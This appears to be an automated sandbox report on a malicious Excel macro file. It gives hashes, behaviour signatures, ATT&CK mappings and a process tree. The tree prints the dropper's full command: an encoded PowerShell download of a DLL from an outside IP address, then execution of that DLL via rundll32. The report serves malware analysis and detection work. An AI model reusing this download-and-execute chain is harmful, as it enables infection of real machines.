Overview

overview

10

Static

static

8

RNP-00129.xlsm

windows7_x64

10

RNP-00129.xlsm

windows10_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    21-10-2021 15:12

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General

  • Target

    RNP-00129.xlsm

  • Size

    87KB

  • MD5

    21f5a279cdb8389e79a711ae43a9215a

  • SHA1

    74516a2bedf8b8aa4551cedba8a62e68209c0068

  • SHA256

    45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc

  • SHA512

    59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1620
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:756
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
          PID:1400

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

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    Downloads

    • memory/756-58-0x0000000000000000-mapping.dmp
      Download
    • memory/756-59-0x0000000075A71000-0x0000000075A73000-memory.dmp
      Filesize

      8KB

      Download
    • memory/756-60-0x0000000002470000-0x0000000002471000-memory.dmp
      Filesize

      4KB

      Download
    • memory/756-61-0x0000000002471000-0x0000000002472000-memory.dmp
      Filesize

      4KB

      Download
    • memory/756-62-0x0000000002472000-0x0000000002474000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1400-63-0x0000000000000000-mapping.dmp
      Download
    • memory/1620-54-0x000000002FDC1000-0x000000002FDC4000-memory.dmp
      Filesize

      12KB

      Download
    • memory/1620-55-0x00000000719E1000-0x00000000719E3000-memory.dmp
      Filesize

      8KB

      Download
    • memory/1620-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1620-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1648-57-0x0000000000000000-mapping.dmp
      Download